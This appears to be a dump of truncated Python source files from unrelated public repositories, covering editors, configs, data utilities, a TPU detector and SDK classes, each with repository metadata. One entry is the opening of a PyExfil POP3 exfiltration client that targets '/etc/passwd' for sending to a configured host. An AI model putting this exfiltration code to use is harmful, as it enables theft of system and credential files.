editor/attributes/player/player_attribute_dk_style.py
PeterC10/COFPES-OF-Editor-6
0a9c9b75fada8264634bdc968c9da209c44b29e2
[ "MIT" ]
null
null
null
from editor.attributes.player.player_attribute import ( PlayerAttribute, PlayerAttributeTypes, ) class PlayerAttributeDkStyle(PlayerAttribute): @classmethod def att_class_name(cls): return "Dropkick Style" @classmethod def att_class_type(cls): return PlayerAttributeTypes.Basic...
27.948718
78
0.69633
f77cf15dfa876f2760c7b8bebd06ea0e09b92918
2,354
py
Python
docs/conf.py
jojacobsen/semsquare
a0f0e9c35e853ec77ce0b7fce8d3ccf4091cc94d
[ "MIT" ]
null
null
null
docs/conf.py
jojacobsen/semsquare
a0f0e9c35e853ec77ce0b7fce8d3ccf4091cc94d
[ "MIT" ]
6
2022-03-18T17:31:44.000Z
2022-03-31T17:36:14.000Z
docs/conf.py
jojacobsen/semsquare
a0f0e9c35e853ec77ce0b7fce8d3ccf4091cc94d
[ "MIT" ]
null
null
null
# Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If ex...
36.78125
79
0.669074
d3db43a397c0ee4c8025738ce8ea6d0a86e3f27b
11,567
py
Python
llgeo/quad4m/db_utils.py
lauralunacabrera/LLGEO
166daf7417071ec9a8ffb90824f5687c5d69d096
[ "MIT" ]
2
2021-01-06T16:38:52.000Z
2021-07-06T02:16:14.000Z
llgeo/quad4m/db_utils.py
lauralunacabrera/LLGEO
166daf7417071ec9a8ffb90824f5687c5d69d096
[ "MIT" ]
null
null
null
llgeo/quad4m/db_utils.py
lauralunacabrera/LLGEO
166daf7417071ec9a8ffb90824f5687c5d69d096
[ "MIT" ]
null
null
null
''' Utilities for handling "databases" for QUAD4M analyses. DESCRIPTION: This module helps create and manage "databases" of: * Geometries (db_geoms) * Earhtquakes (db_accs) * Non-linear properties (db_nonlins) * Random fields (db_rfs) MAIN FUNCTIONS: This module contains the following functions: ...
34.528358
84
0.600156
c20ba76dda60cb5f729e5367bb8fbeed1a0f2404
162
py
Python
src/Cylinder/Calculations/CylinderCalcs.py
thepvguy/calctoys
f7ef4e422d8a27cc387c1a24b5fb6e318d774f57
[ "Unlicense" ]
7
2018-07-17T08:01:34.000Z
2021-06-14T03:33:58.000Z
src/Cylinder/Calculations/CylinderCalcs.py
thepvguy/calctoys
f7ef4e422d8a27cc387c1a24b5fb6e318d774f57
[ "Unlicense" ]
null
null
null
src/Cylinder/Calculations/CylinderCalcs.py
thepvguy/calctoys
f7ef4e422d8a27cc387c1a24b5fb6e318d774f57
[ "Unlicense" ]
6
2018-10-01T10:29:58.000Z
2022-01-24T22:34:16.000Z
class CylinderCalcParams: def __init__(self): pass class CylinderCalcs: def __init__(self, params: CylinderCalcParams): self.p = params
18
51
0.679012
0eaaebfbde8985d855c37583f2085b259f266e7c
2,416
py
Python
pyexfil/network/POP3/pop_exfil_client.py
goffinet/PyExfil
8729442b6822f7587475dae7e8bd0f927c7df45c
[ "MIT" ]
1
2020-03-06T09:13:59.000Z
2020-03-06T09:13:59.000Z
pyexfil/network/POP3/pop_exfil_client.py
goffinet/PyExfil
8729442b6822f7587475dae7e8bd0f927c7df45c
[ "MIT" ]
null
null
null
pyexfil/network/POP3/pop_exfil_client.py
goffinet/PyExfil
8729442b6822f7587475dae7e8bd0f927c7df45c
[ "MIT" ]
null
null
null
#!/usr/bin/python import sys import time import zlib import socket import base64 import progressbar # Configurations host = '127.0.0.1' port = 1100 conns = 5 # Globals MAX_SIZE = 4000 CHUNK = 256 ERR = 1 OKAY = 0 FLOC = "/etc/passwd" def get_file(file_name): try: f = open(file_name, "rb") f_co...
30.582278
139
0.628311
a0e9b3857df9d9cc0c22b766e3d16121eea7a27e
1,140
bzl
Python
go/static.bzl
the-superpirate/rules_docker
46d29e34399a992087c857b13d8dcb8ec80dfd85
[ "Apache-2.0" ]
null
null
null
go/static.bzl
the-superpirate/rules_docker
46d29e34399a992087c857b13d8dcb8ec80dfd85
[ "Apache-2.0" ]
null
null
null
go/static.bzl
the-superpirate/rules_docker
46d29e34399a992087c857b13d8dcb8ec80dfd85
[ "Apache-2.0" ]
null
null
null
# Copyright 2017 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
42.222222
88
0.754386
b2f2e3c9062de980d5dcbe0547634cdd3f82261f
320
py
Python
casearch/log.py
openpyer/casearch
e9b7dd85275a49ba4018621b73081d8677f917df
[ "MIT" ]
1
2020-08-27T09:26:07.000Z
2020-08-27T09:26:07.000Z
casearch/log.py
openpyer/casearch
e9b7dd85275a49ba4018621b73081d8677f917df
[ "MIT" ]
1
2020-05-27T12:48:03.000Z
2020-05-27T12:52:33.000Z
casearch/log.py
EathonTnT/casearch
e9b7dd85275a49ba4018621b73081d8677f917df
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: ZhangXiaocheng # @File: log.py # @Time: 2019/8/27 10:13 import logging logging.basicConfig(format='[%(asctime)s] %(levelname)s %(message)s', datefmt="%y-%m-%d %H:%M:%S", level=logging.INFO) logger = logging.getLogger()
21.333333
69
0.571875
c3d419ee047550f261d26c3946541ba1b4cb36e0
3,127
py
Python
kha/scraper.py
claui/kommtheuteaktenzeichen
2afbdfd1731a8dd6e222d094b0ee26c1a1945e61
[ "Apache-2.0" ]
2
2021-06-06T15:29:08.000Z
2021-06-07T20:37:38.000Z
kha/scraper.py
claui/kommtheuteaktenzeichen
2afbdfd1731a8dd6e222d094b0ee26c1a1945e61
[ "Apache-2.0" ]
null
null
null
kha/scraper.py
claui/kommtheuteaktenzeichen
2afbdfd1731a8dd6e222d094b0ee26c1a1945e61
[ "Apache-2.0" ]
1
2021-05-31T16:48:08.000Z
2021-05-31T16:48:08.000Z
"""Scrape episodes from online sources.""" from datetime import datetime import re from typing import Dict, Iterable, Match, Optional, Tuple import requests from .episode import Episode from .settings \ import WUNSCHLISTE_IMPLIED_TIMEZONE, \ WUNSCHLISTE_QUERY_PARAMETERS, WUNSCHLISTE_URL WUNSCHLISTE_SELECT_E...
33.265957
72
0.532779
799dc322981d41c18d8aa0faee557414ac426ad2
207
py
Python
lib/algorithms/base_algorithm.py
farfanoide/libhdd-sched
cb81d68aeb42d77357006e369caa71ee17620092
[ "MIT" ]
null
null
null
lib/algorithms/base_algorithm.py
farfanoide/libhdd-sched
cb81d68aeb42d77357006e369caa71ee17620092
[ "MIT" ]
null
null
null
lib/algorithms/base_algorithm.py
farfanoide/libhdd-sched
cb81d68aeb42d77357006e369caa71ee17620092
[ "MIT" ]
null
null
null
class BaseAlgorithm(object): """ An abstract class wich defines functionality shared among algorithms """ pfs = [] reqs = [] @staticmethod def get_pfs(a_lot): pass
15.923077
41
0.589372
27a7e6f4037e5f19e6043c9533e9f55dee90d7c1
3,331
py
Python
cscs-checks/tools/profiling_and_debugging/gdb4hpc.py
jfavre/reframe
ddcdb2e3503f28168d04867e68db5c2266619d02
[ "BSD-3-Clause" ]
null
null
null
cscs-checks/tools/profiling_and_debugging/gdb4hpc.py
jfavre/reframe
ddcdb2e3503f28168d04867e68db5c2266619d02
[ "BSD-3-Clause" ]
1
2019-07-03T19:41:50.000Z
2019-07-03T19:41:50.000Z
cscs-checks/tools/profiling_and_debugging/gdb4hpc.py
GiuseppeLoRe/reframe
a1e5aec54dd29925af96e4bb7095f47ea9547c5a
[ "BSD-3-Clause" ]
null
null
null
import os import reframe as rfm import reframe.utility.sanity as sn class Gdb4hpcCheck(rfm.RegressionTest): def __init__(self, lang, extension): super().__init__() self.name = type(self).__name__ + '_' + lang.replace('+', 'p') self.descr = 'Cray gdb4hpc check for %s' % lang self.l...
39.188235
78
0.580907
66c02f4da73f50199911b55b42157976f30761bf
4,361
py
Python
parse_daily_report.py
guardiantest/dailyreport
60a075432f3356d4a4a75568205e683fee58466d
[ "Unlicense" ]
null
null
null
parse_daily_report.py
guardiantest/dailyreport
60a075432f3356d4a4a75568205e683fee58466d
[ "Unlicense" ]
6
2020-03-24T16:08:06.000Z
2021-06-10T20:53:08.000Z
parse_daily_report.py
guardiantest/dailyreport
60a075432f3356d4a4a75568205e683fee58466d
[ "Unlicense" ]
null
null
null
import csv import os from pymongo import MongoClient import operator from datetime import datetime client = MongoClient('localhost', 27017) db = client['stock'] collectReport = db['daily_report'] collectStock = db['stock'] folder = 'daily/TWSE' for f in os.listdir(folder): stock_no = f.split('.')[0] result = ...
37.594828
117
0.462967
0b603ade7b0cf0de84f09fdbc7797f3a34d87c30
88
py
Python
output/models/ms_data/regex/re_i43_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/ms_data/regex/re_i43_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/ms_data/regex/re_i43_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.ms_data.regex.re_i43_xsd.re_i43 import Doc __all__ = [ "Doc", ]
14.666667
61
0.715909
965078a54541b6d83180a53fffc790557bdf1be9
3,699
py
Python
envs/mujoco/swimmer.py
hyyh28/SAIL
125ad3e64eefcf532931f567b95a5320737851e9
[ "MIT" ]
16
2020-04-29T03:25:41.000Z
2022-03-22T02:19:38.000Z
envs/mujoco/swimmer.py
hyyh28/SAIL
125ad3e64eefcf532931f567b95a5320737851e9
[ "MIT" ]
null
null
null
envs/mujoco/swimmer.py
hyyh28/SAIL
125ad3e64eefcf532931f567b95a5320737851e9
[ "MIT" ]
4
2020-04-29T03:22:53.000Z
2021-12-01T02:40:16.000Z
from __future__ import division from __future__ import print_function from __future__ import absolute_import import os import numpy as np from gym import utils from gym.envs.mujoco import mujoco_env class DisableSwimmerEnv(mujoco_env.MujocoEnv, utils.EzPickle): def __init__(self): dir_path = os.path.dirna...
38.936842
91
0.650987
73d14292aa1bb06f98ab823c62a9fe35fe0c40f4
453
py
Python
Algorithms/TwoPointers/lcci-17-21-volume-of-histogram-lcci.py
sandychn/LeetCode-Solutions
d0dd55d62b099c5b7db947822ab2111a4ecdc941
[ "MIT" ]
null
null
null
Algorithms/TwoPointers/lcci-17-21-volume-of-histogram-lcci.py
sandychn/LeetCode-Solutions
d0dd55d62b099c5b7db947822ab2111a4ecdc941
[ "MIT" ]
null
null
null
Algorithms/TwoPointers/lcci-17-21-volume-of-histogram-lcci.py
sandychn/LeetCode-Solutions
d0dd55d62b099c5b7db947822ab2111a4ecdc941
[ "MIT" ]
null
null
null
class Solution: def trap(self, height: List[int]) -> int: ans = 0 l, r = 0, len(height) - 1 lMax = rMax = 0 while l < r: lMax = max(lMax, height[l]) rMax = max(rMax, height[r]) if height[l] < height[r]: ans += lMax - height...
28.3125
46
0.375276
88ad0e0788f1920caf978bf4c8f83b3e8a3ad06f
4,263
py
Python
tomogram_shift_alignment/tomogram_shift_alignment.py
EuanPyle/tomogram_shift_alignment
d4d9c8a990e843c8dab252092aaec659a872c6c2
[ "MIT" ]
null
null
null
tomogram_shift_alignment/tomogram_shift_alignment.py
EuanPyle/tomogram_shift_alignment
d4d9c8a990e843c8dab252092aaec659a872c6c2
[ "MIT" ]
null
null
null
tomogram_shift_alignment/tomogram_shift_alignment.py
EuanPyle/tomogram_shift_alignment
d4d9c8a990e843c8dab252092aaec659a872c6c2
[ "MIT" ]
null
null
null
from pathlib import Path from thefuzz import process from .run_corrsearch3d import run_corrsearch3d from .apply_shifts import apply_shifts from typing import Optional import os,sys import starfile import typer import numpy cli = typer.Typer() @cli.command() def tomogram_shift_alignment( original_tomograms_dir: P...
42.63
223
0.6981
904951bba6c53ee0d7b8085b358f9168f9cabb02
3,655
py
Python
codershq/challenge/migrations/0001_initial.py
Buhannad/CodersHQ
27b643cfab2094aa1ad1b069085c4e2d165345e9
[ "MIT" ]
45
2021-02-24T11:10:29.000Z
2022-03-25T07:14:46.000Z
codershq/challenge/migrations/0001_initial.py
Buhannad/CodersHQ
27b643cfab2094aa1ad1b069085c4e2d165345e9
[ "MIT" ]
96
2021-03-01T16:36:37.000Z
2022-03-26T17:32:26.000Z
codershq/challenge/migrations/0001_initial.py
Buhannad/CodersHQ
27b643cfab2094aa1ad1b069085c4e2d165345e9
[ "MIT" ]
29
2021-08-08T18:24:50.000Z
2022-03-29T12:17:06.000Z
# Generated by Django 3.0.11 on 2021-08-05 04:52 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('users', '__first__'), ] operations = [ migrations.CreateModel( name='Chall...
53.75
141
0.619425
241452ffb8eaf6befb418a52f586338129ddb423
347
py
Python
airbnb-kaggle/kaggle-airbnb-master/setup.py
raafatzahran/Udacity-DataScience
a27eb164d840fb72fb9ab5f021e43856e60cf243
[ "MIT" ]
56
2016-02-17T23:29:04.000Z
2021-10-18T21:37:37.000Z
airbnb-kaggle/kaggle-airbnb-master/setup.py
raafatzahran/Udacity-DataScience
a27eb164d840fb72fb9ab5f021e43856e60cf243
[ "MIT" ]
11
2016-02-16T21:38:18.000Z
2016-08-05T14:52:57.000Z
airbnb-kaggle/kaggle-airbnb-master/setup.py
raafatzahran/Udacity-DataScience
a27eb164d840fb72fb9ab5f021e43856e60cf243
[ "MIT" ]
34
2016-03-04T22:04:10.000Z
2022-01-04T16:30:10.000Z
"""Standard setup file.""" from setuptools import setup, find_packages setup( name='kairbnb', version='1.0', description='Airbnb Kaggle competition code.', author='David Gasquez', author_email='davidgasquez@gmail.com', license='MIT', url='https://github.com/davidgasquez/airbnb-kaggle', ...
24.785714
56
0.691643
0ef0299af0be6f4403ddbf6bc9801b26ba188122
1,657
py
Python
scripts/01_deploy_data_types.py
LaMemeBete/nodys-smart-contract
f67b88d98ebf7063b72f46cb2b014d5de96eb56d
[ "MIT", "Unlicense" ]
null
null
null
scripts/01_deploy_data_types.py
LaMemeBete/nodys-smart-contract
f67b88d98ebf7063b72f46cb2b014d5de96eb56d
[ "MIT", "Unlicense" ]
null
null
null
scripts/01_deploy_data_types.py
LaMemeBete/nodys-smart-contract
f67b88d98ebf7063b72f46cb2b014d5de96eb56d
[ "MIT", "Unlicense" ]
null
null
null
#!/usr/bin/python3 import time from brownie import ( DataTypes, TransparentUpgradeableProxy, ProxyAdmin, config, network, Contract, ) from scripts.helpful_scripts import get_account, encode_function_data def main(): account = get_account() print(config["networks"][network.show_active()...
35.255319
93
0.692818
03e9629c81e3cbe71e138fa6f593bcbfaa37b7d9
3,912
py
Python
align_rudder/run_four_bc.py
ml-jku/align-rudder
26cf4b62a713e180063cefc2921981484ebb9165
[ "MIT" ]
12
2020-09-30T08:15:44.000Z
2021-12-22T03:36:33.000Z
align_rudder/run_four_bc.py
ml-jku/align-rudder
26cf4b62a713e180063cefc2921981484ebb9165
[ "MIT" ]
null
null
null
align_rudder/run_four_bc.py
ml-jku/align-rudder
26cf4b62a713e180063cefc2921981484ebb9165
[ "MIT" ]
1
2020-12-09T21:33:28.000Z
2020-12-09T21:33:28.000Z
import os import pkg_resources import numpy as np import random from ray import tune import ray import gym from align_rudder.learning.q_learning import Qlearning import shutil config = { 'env_id': 'align_rudder:FourRooms-v0', # environment for the experiment 'exp_name': 'align-rudder-bc', # name of the exper...
44.454545
119
0.652607
2168592e2454ca9d4a0a17ad0e7a6578fdc2e548
34,952
py
Python
ubuntu20/projects/libRadtran-2.0.4/src_py/molecular_options.py
AmberCrafter/docker-compose_libRadtran
0182f991db6a13e0cacb3bf9f43809e6850593e4
[ "MIT" ]
null
null
null
ubuntu20/projects/libRadtran-2.0.4/src_py/molecular_options.py
AmberCrafter/docker-compose_libRadtran
0182f991db6a13e0cacb3bf9f43809e6850593e4
[ "MIT" ]
null
null
null
ubuntu20/projects/libRadtran-2.0.4/src_py/molecular_options.py
AmberCrafter/docker-compose_libRadtran
0182f991db6a13e0cacb3bf9f43809e6850593e4
[ "MIT" ]
null
null
null
"""-------------------------------------------------------------------- * $Id$ * * This file is part of libRadtran. * Copyright (c) 1997-2012 by Arve Kylling, Bernhard Mayer, * Claudia Emde, Robert Buras * * ######### Contact info: http://www.libradtran.org ######### * * This progra...
46.789826
416
0.689288
dea649b7209e4155083581caa5ba75cefc3ad96f
4,504
py
Python
scripts/github.clone_repo_teams.py
uniqueg/git-management
b672afa7063fc50b58e492683a12c3552514eddd
[ "Apache-2.0" ]
null
null
null
scripts/github.clone_repo_teams.py
uniqueg/git-management
b672afa7063fc50b58e492683a12c3552514eddd
[ "Apache-2.0" ]
null
null
null
scripts/github.clone_repo_teams.py
uniqueg/git-management
b672afa7063fc50b58e492683a12c3552514eddd
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 """Sets teams associated with a source repository for a destination repository. A personal GitHub access token with write access to source and destination repositories is required to be defined in environment variable 'GITHUB_TOKEN'. Source and destination repositories must be associated with ...
25.162011
78
0.588588
fc3271f99ce9aeea7b1037f8660de4ba2c854a16
6,069
py
Python
example_scripts/edge_tpu/detector/detector_video.py
joaopdss/aXeleRate
791c8b29056ed11bd0ed306e620664577ec9724c
[ "MIT" ]
148
2020-03-18T01:36:20.000Z
2022-03-24T08:56:45.000Z
example_scripts/edge_tpu/detector/detector_video.py
joaopdss/aXeleRate
791c8b29056ed11bd0ed306e620664577ec9724c
[ "MIT" ]
55
2020-03-29T14:36:44.000Z
2022-02-17T22:35:03.000Z
example_scripts/edge_tpu/detector/detector_video.py
joaopdss/aXeleRate
791c8b29056ed11bd0ed306e620664577ec9724c
[ "MIT" ]
57
2020-04-01T14:22:53.000Z
2022-01-31T13:09:49.000Z
import argparse import io import time import numpy as np import cv2 from box import BoundBox, nms_boxes, boxes_to_array, to_minmax, draw_boxes #from tflite_runtime.interpreter import Interpreter import tflite_runtime.interpreter as tflite class Detector(object): def __init__(self, label_file, model_file, thresho...
37.695652
123
0.598286
9da91d8ec464cad5b643c09ea2e2adcff3f6ac92
8,500
py
Python
examples/run_dqn.py
BetsyHJ/SOFA
a80e684b8047496dac6a164893b9e0666fa474a7
[ "MIT" ]
20
2020-07-28T09:57:26.000Z
2022-02-13T12:42:12.000Z
examples/run_dqn.py
BetsyHJ/SOFA
a80e684b8047496dac6a164893b9e0666fa474a7
[ "MIT" ]
null
null
null
examples/run_dqn.py
BetsyHJ/SOFA
a80e684b8047496dac6a164893b9e0666fa474a7
[ "MIT" ]
3
2021-03-24T08:33:28.000Z
2022-01-23T03:14:22.000Z
import sys sys.path.append('../src/') import os os.environ['KMP_DUPLICATE_LIB_OK']='True' import numpy as np from time import time, localtime, strftime import configparser # from env.env import SOFAEnv, simulated_data from env.env_multiusers import SOFAEnv, simulated_data from train import train from evaluation impo...
44.502618
180
0.619294
f008bc1f17d52ade63a8efe2bda9c206815a896c
5,202
py
Python
superset/tasks/async_queries.py
fx19880617/superset
0dfb32cf08c2ec0d9a635f8dedcbf3f41aed1b35
[ "Apache-2.0" ]
7
2020-07-31T04:50:01.000Z
2021-12-08T07:56:42.000Z
superset/tasks/async_queries.py
fx19880617/superset
0dfb32cf08c2ec0d9a635f8dedcbf3f41aed1b35
[ "Apache-2.0" ]
77
2020-02-02T07:54:13.000Z
2022-03-23T18:22:04.000Z
superset/tasks/async_queries.py
fx19880617/superset
0dfb32cf08c2ec0d9a635f8dedcbf3f41aed1b35
[ "Apache-2.0" ]
6
2020-03-25T01:02:29.000Z
2021-05-12T17:11:19.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
39.112782
116
0.662438
20f3291534cf33a7651ff42e32740e0a210f59e6
2,492
py
Python
projects/migrations/0001_initial.py
TheDim0n/ProjectManager
50d36e7e3fc71655aa5a82bb19eacc07172ba5e4
[ "MIT" ]
null
null
null
projects/migrations/0001_initial.py
TheDim0n/ProjectManager
50d36e7e3fc71655aa5a82bb19eacc07172ba5e4
[ "MIT" ]
1
2020-09-08T11:10:53.000Z
2020-09-08T11:10:53.000Z
projects/migrations/0001_initial.py
TheDim0n/ProjectManager
50d36e7e3fc71655aa5a82bb19eacc07172ba5e4
[ "MIT" ]
null
null
null
# Generated by Django 3.0.8 on 2020-08-10 14:20 import datetime from django.conf import settings from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc class Migration(migrations.Migration): initial = True dependencies = [ ('status', '0001_in...
51.916667
150
0.634831
cdafbaa76eb5fe331b4cf5d0b43379de78f85066
1,728
py
Python
dephell/networking.py
OliverHofkens/dephell
6303f416018910668f1635b70cd828a2fd2b2d9e
[ "MIT" ]
null
null
null
dephell/networking.py
OliverHofkens/dephell
6303f416018910668f1635b70cd828a2fd2b2d9e
[ "MIT" ]
null
null
null
dephell/networking.py
OliverHofkens/dephell
6303f416018910668f1635b70cd828a2fd2b2d9e
[ "MIT" ]
null
null
null
# built-in from functools import partial, update_wrapper from logging import getLogger from ssl import create_default_context from time import sleep # external import certifi import requests from aiohttp import ClientError, ClientSession, TCPConnector # app from . import __version__ USER_AGENT = 'DepHell/{version}'...
27.870968
82
0.665509
4dca4f6577a24e547b9562717c8ec9f3496b161b
9,407
py
Python
docs/examples/use_cases/tensorflow/resnet-n/nvutils/hvd_patch.py
cyyever/DALI
e2b2d5a061da605e3e9e681017a7b2d53fe41a62
[ "ECL-2.0", "Apache-2.0" ]
3,967
2018-06-19T04:39:09.000Z
2022-03-31T10:57:53.000Z
docs/examples/use_cases/tensorflow/resnet-n/nvutils/hvd_patch.py
cyyever/DALI
e2b2d5a061da605e3e9e681017a7b2d53fe41a62
[ "ECL-2.0", "Apache-2.0" ]
3,494
2018-06-21T07:09:58.000Z
2022-03-31T19:44:51.000Z
docs/examples/use_cases/tensorflow/resnet-n/nvutils/hvd_patch.py
cyyever/DALI
e2b2d5a061da605e3e9e681017a7b2d53fe41a62
[ "ECL-2.0", "Apache-2.0" ]
531
2018-06-19T23:53:10.000Z
2022-03-30T08:35:59.000Z
# This is a patch for Horovod 0.21.3 to work with our custom learning schedule # used in CNN resnet50 scripts. from tensorflow import keras from horovod.tensorflow import Compression from tensorflow.python.keras.optimizer_v2 import optimizer_v2 import horovod.tensorflow as hvd import tensorflow as tf from nvutils imp...
43.151376
81
0.65515
46c06c984e87ca8196d117ce3501059054f4b852
147
py
Python
reddit2telegram/channels/r_fallguysgame/app.py
mainyordle/reddit2telegram
1163e15aed3b6ff0fba65b222d3d9798f644c386
[ "MIT" ]
187
2016-09-20T09:15:54.000Z
2022-03-29T12:22:33.000Z
reddit2telegram/channels/r_fallguysgame/app.py
mainyordle/reddit2telegram
1163e15aed3b6ff0fba65b222d3d9798f644c386
[ "MIT" ]
84
2016-09-22T14:25:07.000Z
2022-03-19T01:26:17.000Z
reddit2telegram/channels/r_fallguysgame/app.py
mainyordle/reddit2telegram
1163e15aed3b6ff0fba65b222d3d9798f644c386
[ "MIT" ]
172
2016-09-21T15:39:39.000Z
2022-03-16T15:15:58.000Z
#encoding:utf-8 subreddit = 'FallGuysGame' t_channel = '@r_FallGuysGame' def send_post(submission, r2t): return r2t.send_simple(submission)
16.333333
38
0.755102
257ec9bd188bbbfc734b5030ec50c1a76a5b5936
9,262
py
Python
tests/test_data.py
mlfpm/deepof
634ef2856d278f0f34f9c38346a28a40410571f8
[ "MIT" ]
4
2020-09-23T12:35:08.000Z
2022-02-21T07:40:45.000Z
tests/test_data.py
mlfpm/deepof
634ef2856d278f0f34f9c38346a28a40410571f8
[ "MIT" ]
null
null
null
tests/test_data.py
mlfpm/deepof
634ef2856d278f0f34f9c38346a28a40410571f8
[ "MIT" ]
null
null
null
# @author lucasmiranda42 # encoding: utf-8 # module deepof """ Testing module for deepof.preprocess """ from hypothesis import given from hypothesis import settings from hypothesis import strategies as st from collections import defaultdict import deepof.utils import deepof.data import matplotlib.figure import nump...
29.685897
88
0.636472
a0bbfbaea9793d7d94ac4c379d7650aeda1402d2
3,221
py
Python
Autocoders/Python/src/fprime_ac/generators/StartSource.py
sommercharles/fprime
f28c92e31d58e7e44bff09ad57d574ca5d5e91c7
[ "Apache-2.0" ]
1
2022-02-15T19:28:01.000Z
2022-02-15T19:28:01.000Z
Autocoders/Python/src/fprime_ac/generators/StartSource.py
abcouwer-jpl/fprime
f28c92e31d58e7e44bff09ad57d574ca5d5e91c7
[ "Apache-2.0" ]
5
2020-07-13T16:56:33.000Z
2020-07-23T20:38:13.000Z
Autocoders/Python/src/fprime_ac/generators/StartSource.py
abcouwer-jpl/fprime
f28c92e31d58e7e44bff09ad57d574ca5d5e91c7
[ "Apache-2.0" ]
null
null
null
#=============================================================================== # NAME: StartSource # # DESCRIPTION: The StartSource class is the main entry point # for generation of beginning and header comments code # in code generation. # # USAGE: Nominally the StartSource.__call__ is called by us...
32.535354
114
0.632723
6bdfd24de0d344e30d7d77b05c14e6175604549e
6,795
py
Python
goji/full_node/mempool_check_conditions.py
zcomputerwiz/gojiv2-blockchain
3be896d4dcb48a734f8d2a901ab5648201fbd4d7
[ "Apache-2.0" ]
2
2022-02-09T04:30:19.000Z
2022-03-19T14:01:43.000Z
goji/full_node/mempool_check_conditions.py
zcomputerwiz/goji-blockchain
3be896d4dcb48a734f8d2a901ab5648201fbd4d7
[ "Apache-2.0" ]
1
2021-12-30T09:17:47.000Z
2021-12-30T09:17:47.000Z
goji/full_node/mempool_check_conditions.py
zcomputerwiz/gojiv2-blockchain
3be896d4dcb48a734f8d2a901ab5648201fbd4d7
[ "Apache-2.0" ]
1
2022-03-15T08:42:52.000Z
2022-03-15T08:42:52.000Z
import logging import time from typing import Dict, List, Optional from clvm_rs import STRICT_MODE from goji.consensus.cost_calculator import NPCResult from goji.full_node.generator import create_generator_args, setup_generator_args from goji.types.blockchain_format.program import NIL from goji.types.coin_record impor...
38.828571
115
0.707138
a45d04b8b5ec815dd42897f97a66ec573788249f
4,981
py
Python
venv1/Lib/site-packages/tensorflow/python/tools/strip_unused_lib.py
Soum-Soum/Tensorflow_Face_Finder
fec6c15d2df7012608511ad87f4b55731bf99478
[ "Apache-2.0", "MIT" ]
6
2022-02-04T18:12:24.000Z
2022-03-21T23:57:12.000Z
Lib/site-packages/tensorflow/python/tools/strip_unused_lib.py
shfkdroal/Robot-Learning-in-Mixed-Adversarial-and-Collaborative-Settings
1fa4cd6a566c8745f455fc3d2273208f21f88ced
[ "bzip2-1.0.6" ]
1
2021-05-20T00:58:04.000Z
2021-05-20T00:58:04.000Z
Lib/site-packages/tensorflow/python/tools/strip_unused_lib.py
shfkdroal/Robot-Learning-in-Mixed-Adversarial-and-Collaborative-Settings
1fa4cd6a566c8745f455fc3d2273208f21f88ced
[ "bzip2-1.0.6" ]
1
2022-02-08T03:53:23.000Z
2022-02-08T03:53:23.000Z
# pylint: disable=g-bad-file-header # Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
40.495935
81
0.678579
d6d8489a24cdd946d5ba543063f1cf3ea528ac45
766
py
Python
alipay/aop/api/response/AlipayFundTransInvoiceSyncdataModifyResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
213
2018-08-27T16:49:32.000Z
2021-12-29T04:34:12.000Z
alipay/aop/api/response/AlipayFundTransInvoiceSyncdataModifyResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
29
2018-09-29T06:43:00.000Z
2021-09-02T03:27:32.000Z
alipay/aop/api/response/AlipayFundTransInvoiceSyncdataModifyResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
59
2018-08-27T16:59:26.000Z
2022-03-25T10:08:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayFundTransInvoiceSyncdataModifyResponse(AlipayResponse): def __init__(self): super(AlipayFundTransInvoiceSyncdataModifyResponse, self).__init__() self._invoice_u...
29.461538
117
0.733681